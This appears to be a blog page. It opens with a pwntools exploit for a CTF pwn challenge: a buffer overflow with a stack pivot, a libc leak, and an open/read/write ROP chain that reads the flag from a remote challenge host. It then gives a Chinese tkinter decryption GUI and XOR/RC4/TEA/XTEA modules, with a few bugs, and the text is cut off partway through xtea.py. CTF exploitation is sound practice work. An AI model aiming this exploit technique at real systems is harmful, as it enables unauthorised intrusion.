ip = 'node4.anna.nssctf.cn'
port = 28184
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
offset = 0x210
pop_rdi=0x0000000000401353
pop_rbp=0x00000000004011bd
read=0x0000000000401292
leave_ret=0x000000000040121d
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss = 0x404060 + 0x700
pop_rsi_r15=0x0000000000401351

ru("try it")
payload=b'A'*0x210+p64(bss+0x210)+p64(read)
s(payload)

sleep(0.5)
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200)+p64(read)
payload=payload.ljust(0x210,b'\x00')+p64(bss-8)+p64(leave_ret)
s(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase;"+hex(libcbase))
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rdx=libcbase+0x0000000000142c92

sleep(0.5)
flag_addr=bss + 0x200
payload=b'flag'.ljust(8,b'\x00')
payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(pop_rdx)+p64(0x50)+p64(write)
payload=payload.ljust(0x210,b'\x00')+p64(bss + 0x200)+p64(leave_ret)
s(payload)

ia()

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
import tkinter as tk
from tkinter import messagebox, ttk
import os
import sys
import threading
import time
import cv2
from PIL import Image, ImageTk

# 导入外部解密模块
from xor1 import decrypt as xor_decrypt
from rc4 import decrypt as rc4_decrypt
from tea import decrypt1 as tea_decrypt
from xtea import decrypt1 as xtea_decrypt
from xxtea import decrypt as xxtea_decrypt

class UIBuilder:
"""UI组件构建工具类,用于创建统一风格的UI元素"""

@staticmethod
def create_title(parent, text, font_size=24, emoji="", bg="#1a1a2e"):
"""创建带表情符号的标题标签"""
title = tk.Label(
parent,
text=f"{emoji} {text} {emoji}",
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg="white"
)
return title

@staticmethod
def create_button(parent, text, command, bg="#4ECDC4", font_size=12, emoji="", bg_hover="#3A9DA2"):
"""创建带悬停效果的按钮"""

def on_enter(e):
btn.config(bg=bg_hover)

def on_leave(e):
btn.config(bg=bg)

btn = tk.Button(
parent,
text=f"{emoji} {text} {emoji}" if emoji else text,
command=command,
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg="white",
relief="flat",
bd=0
)
btn.bind("<Enter>", on_enter)
btn.bind("<Leave>", on_leave)
return btn

@staticmethod
def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e"):
"""创建统一风格的标签"""
label = tk.Label(
parent,
text=text,
font=("微软雅黑", font_size),
fg=fg,
bg=bg
)
return label

@staticmethod
def create_algorithm_info(parent, algorithm):
"""生成算法说明文本"""
info_texts = {
"xor": " XOR通过将密文与密钥进行异或操作来还原明文。\n"
"特点:速度快,适用于简单加密场景,但安全性较低。",
"rc4": "RC4是一种流加密算法,通过密钥生成伪随机字节流,与密文异或得到明文。\n"
" 特点:效率高,常用于网络数据加密,但存在安全漏洞需注意。",
"tea": "TEA是一种分组加密算法,使用64位分组和128位密钥。\n"
" 特点:结构简单,安全性较高,适用于资源受限环境。",
"xtea": "XTEA是TEA的扩展版本,改进了加密函数和密钥调度算法。\n"
" 特点:比TEA更抗密码分析,保持了算法简洁性。",
"xxtea": "XXTEA是另一种TEA扩展,进一步优化了加密强度和性能。\n"
" 特点:安全性高,适用于需要可靠加密的场景。"
}
info = tk.Label(
parent,
text=info_texts.get(algorithm, "暂无算法说明"),
font=("微软雅黑", 10),
fg="#CCCCCC",
bg="#1a1a2e",
justify=tk.LEFT,
wraplength=480
)
return info


class VideoBackground:
"""视频背景播放器(增强版,强制使用视频背景)"""

def __init__(self, parent, video_path, width=800, height=600):
self.parent = parent
self.width = width
self.height = height
self.video_path = os.path.abspath(video_path)
self.cap = None
self.video_label = tk.Label(parent, bg="black")
self.video_label.place(x=0, y=0, relwidth=1, relheight=1)
self.stop_flag = False
self.thread = None
self.running = True
self.error_count = 0

# 尝试多次加载视频,避免单次失败
self._init_video(force=True)

def _init_video(self, force=False):
"""初始化视频,支持强制重试"""
if not os.path.exists(self.video_path):
self._show_error(f"⚠️ 视频文件不存在:{self.video_path}")
self._create_error_overlay("视频文件缺失")
return

try:
self.cap = cv2.VideoCapture(self.video_path)
if not self.cap.isOpened():
raise RuntimeError(f"无法打开视频文件:{self.video_path}")

self.fps = self.cap.get(cv2.CAP_PROP_FPS) or 30
self.start_playback()
self.error_count = 0 # 重置错误计数

except Exception as e:
self.error_count += 1
self._show_error(f"⚠️ 视频打开错误(尝试 {self.error_count}/5):{str(e)}")

# 创建错误提示覆盖层
self._create_error_overlay(f"视频加载失败 {self.error_count}/5\n正在重试...")

# 尝试重新加载
if self.error_count <= 5 and force:
self.parent.after(3000, self._init_video)
else:
self._show_error("⚠️ 视频加载失败,使用默认背景", critical=True)

def _show_error(self, msg, critical=False):
"""显示错误信息"""
if DEBUG:
print(msg)
if critical:
messagebox.showerror("视频初始化失败", msg)

def _create_error_overlay(self, text):
"""创建错误提示覆盖层(半透明)"""
# 清除现有覆盖层
for widget in self.parent.winfo_children():
if isinstance(widget, tk.Canvas) and widget._name.startswith("error_overlay"):
widget.destroy()

# 创建新覆盖层(半透明黑色背景)
overlay = tk.Canvas(
self.parent,
width=self.width,
height=self.height,
bg="black",
bd=0,
highlightthickness=0
)
overlay.place(x=0, y=0)
overlay._name = "error_overlay"

# 半透明背景(30%透明度效果)
overlay.create_rectangle(
0, 0, self.width, self.height,
fill="black",
stipple="gray50"
)

# 错误文本
overlay.create_text(
self.width / 2, self.height / 2,
text=text,
fill="white",
font=("微软雅黑", 14, "bold")
)

def start_playback(self):
"""启动视频播放"""
if self.cap and not self.thread:
self.stop_flag = False
self.thread = threading.Thread(
target=self._update_video,
daemon=True
)
self.thread.start()

def stop_playback(self):
"""停止视频播放并释放资源"""
self.stop_flag = True
self.running = False
if self.thread and self.thread.is_alive():
self.thread.join(timeout=3)
if self.cap:
self.cap.release()
self.cap = None
if DEBUG:
print("🎥 视频播放已停止")

def _update_video(self):
"""视频帧更新循环"""
while self.running and not self.stop_flag:
try:
if not self.cap or not self.cap.isOpened():
# 尝试重新打开视频
self._init_video()
time.sleep(1)
continue

ret, frame = self.cap.read()
if not ret:
# 视频结束,从头开始
self.cap.set(cv2.CAP_PROP_POS_FRAMES, 0)
continue

# 处理视频帧
frame = cv2.resize(frame, (self.width, self.height))
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
img = Image.fromarray(frame)
imgtk = ImageTk.PhotoImage(image=img)

# 更新显示
self.video_label.config(image=imgtk)
self.video_label.image = imgtk
time.sleep(1.0 / self.fps)

except Exception as e:
if DEBUG:
print(f"⚠️ 视频处理错误:{str(e)}")
time.sleep(1) # 错误后等待,避免CPU占用过高


class DecryptApp:
def __init__(self, root):
self.root = root
self.root.title("✨ linkpwn的解密工具 ✨")
self.root.geometry("800x600")
self.root.resizable(False, False)

# 设置窗口图标(示例图标路径,可替换为实际图标)
try:
root.iconbitmap("linkpwn.ico")
except:
if DEBUG:
print("⚠️ 图标加载失败,使用默认图标")

# 强制使用视频背景
video_path = "富士山的星空.mp4"
self.video_bg = VideoBackground(root, video_path)

# 创建欢迎界面(移除半透明遮罩)
self.create_welcome_screen()
self.create_status_bar()

# 注册窗口关闭事件
self.root.protocol("WM_DELETE_WINDOW", self.on_close)

def create_welcome_screen(self):
"""创建欢迎界面(仅保留视频背景上的UI元素)"""
# 欢迎标题(直接放置在视频背景上)
title = UIBuilder.create_title(
self.root,
"欢迎使用linkpwn的解密工具",
font_size=36,
emoji="✨",
bg=None # 透明背景
)
title.configure(fg="#5dade2") # 仅设置标题字体为浅蓝色
title.place(relx=0.5, rely=0.3, anchor=tk.CENTER)

# 进入按钮(直接放置在视频背景上)
enter_btn = UIBuilder.create_button(
self.root,
"进入解密工具",
self.open_algorithm_selector,
bg="#FF6B6B",
font_size=18,
emoji="🔓",
bg_hover="#FF4D4F"
)
enter_btn.place(relx=0.5, rely=0.5, anchor=tk.CENTER)

# 版权信息(直接放置在视频背景上)
copyright_text = UIBuilder.create_label(
self.root,
"© 2025 linkpwn. 保留所有权利.",
font_size=10,
fg="#999999",
bg=None # 透明背景
)
copyright_text.place(relx=0.5, rely=0.95, anchor=tk.CENTER)

def open_algorithm_selector(self):
"""打开算法选择窗口(优化背景显示)"""
self.algorithm_window = tk.Toplevel(self.root)
self.algorithm_window.title("💡 选择解密算法")
self.algorithm_window.geometry("600x400")
self.algorithm_window.resizable(False, False)
self.algorithm_window.transient(self.root)

# 创建半透明背景(仅在视频加载失败时显示)
bg = tk.Canvas(
self.algorithm_window,
width=600,
height=400,
bg="black",
highlightthickness=0
)
bg.pack(fill="both", expand=True)

# 标题
title = UIBuilder.create_title(
self.algorithm_window,
"选择解密算法",
font_size=24,
emoji="🔐"
)
title.place(relx=0.5, y=30, anchor=tk.CENTER)

# 分隔线
sep = tk.Frame(self.algorithm_window, height=2, bg="#4ECDC4")
sep.place(x=50, y=70, width=500)

# 算法按钮配置
algorithms = [
("xor", "❌ XOR解密"),
("rc4", "🔒 RC4解密"),
("tea", "🍵 TEA解密"),
("xtea", "🍵 XTEA解密"),
("xxtea", "🍵 XXTEA解密"),
]

for idx, (alg, text) in enumerate(algorithms):
btn = tk.Button(
self.algorithm_window,
text=text,
font=("微软雅黑", 14, "bold"),
bg="#4ECDC4",
fg="white",
relief="flat",
command=lambda a=alg: self.open_decrypt_window(a)
)
x = 100 if idx % 2 == 0 else 350
y = 120 + (idx // 2) * 80
btn.place(x=x, y=y, width=200, height=60)

def open_decrypt_window(self, algorithm):
"""打开解密窗口(优化背景显示)"""
# 销毁已存在的解密窗口
if hasattr(self, 'decrypt_window') and self.decrypt_window.winfo_exists():
self.decrypt_window.destroy()

self.decrypt_window = tk.Toplevel(self.root)
self.decrypt_window.title(f"💬 {self.get_algorithm_name(algorithm)}解密面板")
self.decrypt_window.geometry("600x450")
self.decrypt_window.resizable(False, False)
self.decrypt_window.transient(self.root)

panel = tk.Canvas(
self.decrypt_window,
width=600,
height=450,
bg="black",
highlightthickness=0,
bd=0,
relief="flat"
)
panel.pack(fill="both", expand=True)

# 标题
title = UIBuilder.create_title(
panel,
f"{self.get_algorithm_name(algorithm)}解密工具",
font_size=24,
bg="black"
)
title.place(relx=0.5, y=30, anchor=tk.CENTER)

# 分隔线
sep = tk.Frame(panel, height=2, bg="#4ECDC4")
sep.place(x=50, y=70, width=500)

# 算法说明
info = UIBuilder.create_algorithm_info(panel, algorithm)
info.place(x=50, y=90, width=500)

# 密文输入框
cipher_frame = tk.Frame(panel, bg="#1a1a2e")
cipher_frame.place(x=50, y=130, width=500, height=100)

cipher_label = UIBuilder.create_label(cipher_frame, "密文:", font_size=12)
cipher_label.pack(anchor="w", pady=(0, 5))

self.cipher_entry = tk.Text(
cipher_frame,
width=58,
height=3,
font=("Consolas", 12),
bg="#2a2a3e",
fg="white",
insertbackground="white",
relief="flat",
padx=10,
pady=5
)
self.cipher_entry.pack(fill="x")
self.cipher_entry.insert("1.0", self.get_default_ciphertext(algorithm))

# 密钥输入框
key_frame = tk.Frame(panel, bg="#1a1a2e")
key_frame.place(x=50, y=250, width=500, height=80)

key_label = UIBuilder.create_label(key_frame, "密钥:", font_size=12)
key_label.pack(anchor="w", pady=(0, 5))

self.key_entry = tk.Entry(
key_frame,
width=58,
font=("Consolas", 12),
bg="#2a2a3e",
fg="white",
insertbackground="white",
relief="flat"
)
self.key_entry.pack(fill="x")
self.key_entry.insert(0, self.get_default_key(algorithm))

# 按钮区域
btn_frame = tk.Frame(panel, bg="#1a1a2e")
btn_frame.place(x=50, y=340, width=500, height=40)

# 解密按钮
decrypt_btn = UIBuilder.create_button(
btn_frame,
"开始解密",
lambda: self.perform_decryption(algorithm),
bg="#FF6B6B",
font_size=14,
emoji="🔓"
)
decrypt_btn.pack(side="left", padx=(150, 0))

# 返回按钮
back_btn = UIBuilder.create_button(
btn_frame,
"返回",
self.decrypt_window.destroy,
bg="#666666",
font_size=10,
emoji="◀"
)
back_btn.pack(side="right", padx=(0, 20))

# 提示文本
hint = UIBuilder.create_label(
panel,
"💡 提示: 输入密文和密钥后点击解密按钮",
font_size=10,
fg="#999999"
)
hint.place(x=50, y=400, width=500)

def get_algorithm_name(self, algorithm):
"""获取算法名称"""
names = {
"xor": "XOR",
"rc4": "RC4",
"tea": "TEA",
"xtea": "XTEA",
"xxtea": "XXTEA"
}
return names.get(algorithm, algorithm.upper())

def get_default_ciphertext(self, algorithm):
"""获取默认密文"""
defaults = {
"xor": "1a2b3c4d5e6f",
"rc4": "730e7d1c4a1e",
"tea": "0123456789abcdef",
"xtea": "0123456789abcdef",
"xxtea": "0123456789abcdef"
}
return defaults.get(algorithm, "")

def get_default_key(self, algorithm):
"""获取默认密钥"""
defaults = {
"xor": "secret",
"rc4": "key12345",
"tea": "1234567890123456", # 16字节密钥
"xtea": "1234567890123456", # 16字节密钥
"xxtea": "1234567890123456" # 16字节密钥
}
return defaults.get(algorithm, "")

def create_status_bar(self):
"""创建状态栏"""
self.status = tk.Label(
self.root,
text="✨ 就绪 | linkpwn的解密工具 v1.0 | 安全解密 ✨",
bd=1,
relief=tk.SUNKEN,
anchor=tk.W,
font=("微软雅黑", 9),
fg="#CCCCCC",
bg="#1a1a2e"
)
self.status.pack(side=tk.BOTTOM, fill=tk.X)

def perform_decryption(self, algorithm):
"""执行解密操作"""
ciphertext = self.cipher_entry.get("1.0", tk.END).strip()
key = self.key_entry.get().strip()

if not ciphertext:
self.status.config(text="🛑 错误: 密文不能为空")
messagebox.showerror("😢 错误", "密文不能为空哦!")
return

if not key:
self.status.config(text="🛑 错误: 密钥不能为空")
messagebox.showerror("😢 错误", "密钥不能为空哦!")
return

self.status.config(text=f"🔄 使用{self.get_algorithm_name(algorithm)}解密中...")
threading.Thread(target=self._perform_decryption_thread, args=(ciphertext, key, algorithm), daemon=True).start()

def _perform_decryption_thread(self, ciphertext, key, algorithm):
"""在单独的线程中执行解密操作"""
try:
# 根据算法调用相应的解密函数
if algorithm == "xor":
result = xor_decrypt(ciphertext, key)
elif algorithm == "rc4":
result = rc4_decrypt(ciphertext, key)
elif algorithm == "tea":
result = tea_decrypt(ciphertext, key)
elif algorithm == "xtea":
result = xtea_decrypt(ciphertext, key)
elif algorithm == "xxtea":
result = xxtea_decrypt(ciphertext, key)
else:
result = f"🛑 不支持的算法: {algorithm}"

self.root.after(0, self._update_decryption_result, result)
except Exception as e:
error_msg = f"🛑 解密过程中发生错误: {str(e)}"
self.root.after(0, self._update_decryption_error, error_msg)

def _update_decryption_result(self, result):
"""更新解密结果"""
if "错误" in result or "Error" in result:
self.status.config(text=f"😢 解密失败: {result}")
messagebox.showerror("😢 解密失败", result)
else:
self.status.config(text="🎉 解密成功!")
self.show_result(result)

def _update_decryption_error(self, error_msg):
"""更新解密错误"""
self.status.config(text=error_msg)
messagebox.showerror("😢 错误", error_msg)

def show_result(self, plaintext):
"""显示解密结果窗口(优化背景显示)"""
try:
result_window = tk.Toplevel(self.decrypt_window)
result_window.title("🎁 解密结果")
result_window.geometry("500x300")
result_window.resizable(False, False)

bg = tk.Canvas(result_window, width=500, height=300, bg="#1a1a2e")
bg.pack(fill="both", expand=True)

title = UIBuilder.create_title(
bg,
"解密成功!",
font_size=18,
emoji="🎉",
bg="#1a1a2e"
)
title.place(relx=0.5, y=40, anchor=tk.CENTER)

result_frame = tk.Frame(bg, bg="#2a2a3e", bd=1, relief=tk.SUNKEN)
result_frame.place(x=25, y=70, width=450, height=180)

scrollbar = ttk.Scrollbar(result_frame)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y)

result_text = tk.Text(
result_frame,
bg="#2a2a3e",
fg="white",
font=("Consolas", 11),
yscrollcommand=scrollbar.set,
wrap=tk.WORD,
padx=10,
pady=10
)
result_text.pack(fill="both", expand=True)
result_text.insert(tk.END, plaintext)
result_text.config(state=tk.DISABLED)
scrollbar.config(command=result_text.yview)

close_btn = UIBuilder.create_button(
bg,
"关闭",
result_window.destroy,
bg="#4ECDC4",
font_size=12
)
close_btn.place(relx=0.5, y=260, anchor=tk.CENTER)
except Exception as e:
messagebox.showerror("😢 错误", f"无法显示结果: {str(e)}")

def on_close(self):
"""窗口关闭时停止视频播放"""
if hasattr(self, 'video_bg') and self.video_bg:
self.video_bg.stop_playback()
self.root.destroy()


# === 程序入口 ===
DEBUG = True # 开发阶段设为True,发布时改为False

def run_app():
"""运行应用程序"""
root = tk.Tk()
# 设置窗口透明度(仅支持Windows和X11系统)
if sys.platform in ['win32', 'linux']:
root.attributes('-alpha', 0.95) # 95%透明度,保留视频背景效果
app = DecryptApp(root)
root.mainloop()

if __name__ == "__main__":
run_app()

beautiful.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import tkinter as tk

class UIBuilder:
"""UI构建器,负责创建美化后的界面元素"""

@staticmethod
def create_button(parent, text, command, bg="#4ECDC4", fg="white", font_size=12, emoji=""):
"""创建美化的按钮"""
full_text = f"{emoji} {text}" if emoji else text

# 安全的颜色调整函数
def darken_color(hex_color, factor=0.8):
"""降低颜色亮度"""
hex_color = hex_color.lstrip('#')
rgb = tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4))
darkened = tuple(int(max(0, min(255, c * factor))) for c in rgb)
return f"#{darkened[0]:02x}{darkened[1]:02x}{darkened[2]:02x}"

return tk.Button(
parent,
text=full_text,
command=command,
font=("微软雅黑", font_size, "bold"),
bg=bg,
fg=fg,
activebackground=darken_color(bg),
relief="flat",
padx=15,
pady=5
)

@staticmethod
def create_label(parent, text, font_size=12, fg="white", bg="#1a1a2e", emoji=""):
"""创建美化的标签"""
full_text = f"{emoji} {text}" if emoji else text
return tk.Label(
parent,
text=full_text,
font=("微软雅黑", font_size),
fg=fg,
bg=bg
)

@staticmethod
def create_title(parent, text, font_size=24, fg="#4ECDC4", bg="#1a1a2e", emoji=""):
"""创建美化的标题"""
full_text = f"{emoji} {text} {emoji}" if emoji else text
return tk.Label(
parent,
text=full_text,
font=("微软雅黑", font_size, "bold"),
fg=fg,
bg=bg
)

@staticmethod
def create_algorithm_info(parent, algorithm):
"""创建算法说明信息"""
info_text = {
"xor": "❌ XOR加密: 最简单的加密算法,通过逐字节异或运算实现",
"rc4": "🔒 RC4: 流加密算法,广泛用于网络协议如SSL/TLS",
"tea": "🍵 TEA: 小型加密算法,使用64位数据块和128位密钥",
"xtea": "🍵 XTEA: TEA的改进版本,修复了一些安全漏洞",
"xxtea": "🍵 XXTEA: 更安全的TEA变体,处理变长数据块"
}

return tk.Label(
parent,
text=info_text.get(algorithm, f"❓ 未知算法: {algorithm}"),
font=("微软雅黑", 10),
fg="#FF9F1C",
bg="#1a1a2e"
)

rc4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def decrypt(ciphertext, key):
"""RC4解密算法"""
try:
# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

key_bytes = key.encode('utf-8')

# RC4初始化
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
S[i], S[j] = S[j], S[i]

# 生成密钥流并解密
i = j = 0
decrypted = bytearray()

for byte in cipher_bytes:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
decrypted.append(byte ^ k)

try:
return decrypted.decode('utf-8')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "730e7d1c4a1e" # 示例密文(十六进制)
key = "key12345" # 密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey" # 密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

tea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
def decrypt1(ciphertext, key):
"""TEA解密算法 - 修复32位无符号整数问题"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是8的倍数
if len(cipher_bytes) % 8 != 0:
padding = 8 - (len(cipher_bytes) % 8)
cipher_bytes += b'\0' * padding

# 分块解密
decrypted = bytearray()
for i in range(0, len(cipher_bytes), 8):
block = cipher_bytes[i:i + 8]

# 解包为两个32位无符号整数
v0 = int.from_bytes(block[:4], 'big') & 0xFFFFFFFF
v1 = int.from_bytes(block[4:], 'big') & 0xFFFFFFFF
k = [int.from_bytes(key_bytes[i * 4:(i + 1) * 4], 'big') & 0xFFFFFFFF for i in range(4)]

# TEA解密过程
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF # 确保初始值为32位无符号

# 辅助函数确保所有中间计算都在32位范围内
def tea_op(value, shift, add_val):
"""确保移位和加法操作保持在32位范围内"""
if shift > 0:
return ((value << shift) & 0xFFFFFFFF) + add_val
else:
return ((value >> -shift) & 0xFFFFFFFF) + add_val

for _ in range(32):
# 分解计算步骤,确保每步都在32位范围内
term1 = tea_op(v0, 4, k[2])
term2 = (v0 + sum_val) & 0xFFFFFFFF
term3 = tea_op(v0, -5, k[3])

v1 = (v1 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF

term1 = tea_op(v1, 4, k[0])
term2 = (v1 + sum_val) & 0xFFFFFFFF
term3 = tea_op(v1, -5, k[1])

v0 = (v0 - ((term1 ^ term2) ^ term3)) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF

# 再次确保v0和v1为非负数
v0 &= 0xFFFFFFFF
v1 &= 0xFFFFFFFF

# 打包解密结果(添加额外检查)
try:
decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
except OverflowError:
# 作为备用方案,直接处理32位值
decrypted_block = (v0 & 0xFFFFFFFF).to_bytes(4, 'big') + (v1 & 0xFFFFFFFF).to_bytes(4, 'big')

decrypted.extend(decrypted_block)

try:
# 尝试UTF-8解码,失败则返回HEX
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"
# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "0123456789abcdef" # 示例密文(十六进制)
key = "1234567890123456" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey1234" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

xor1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# xor1.py

def xor_encrypt_decrypt(data, key):
"""
执行异或加密或解密操作。

:param data: 原始数据(字符串或 bytes)
:param key: 密钥(字符串或 bytes)
:return: 加密或解密后的 bytes 数据
"""
if isinstance(data, str):
data = data.encode('utf-8')
if isinstance(key, str):
key = key.encode('utf-8')

result = bytearray()
for i in range(len(data)):
key_byte = key[i % len(key)]
result.append(data[i] ^ key_byte)

return bytes(result)


def xor_decrypt(ciphertext, key):
"""
解密并返回可读格式。

优先尝试将结果解码为 UTF-8 字符串;
如果失败,则返回其十六进制表示。

:param ciphertext: 密文(bytes)
:param key: 解密密钥(字符串或 bytes)
:return: 可读明文(字符串)或错误信息
"""
try:
decrypted_bytes = xor_encrypt_decrypt(ciphertext, key)
try:
return decrypted_bytes.decode('utf-8') # 尝试作为文本返回
except UnicodeDecodeError:
return decrypted_bytes.hex() # 否则返回 hex 字符串
except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 提供别名,方便外部调用 decrypt(data, key)
decrypt = xor_decrypt


# 测试用例(仅当直接运行此模块时执行)
if __name__ == "__main__":
test_key = "mysecretpassword"
original_text = "Hello, world! This is a test."

print("原文:", original_text)

encrypted_data = xor_encrypt_decrypt(original_text, test_key)
print("加密结果 (hex):", encrypted_data.hex())

decrypted_text = xor_decrypt(encrypted_data, test_key)
print("解密结果:", decrypted_text)

xtea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def decrypt1(ciphertext, key):
"""XTEA解密算法"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
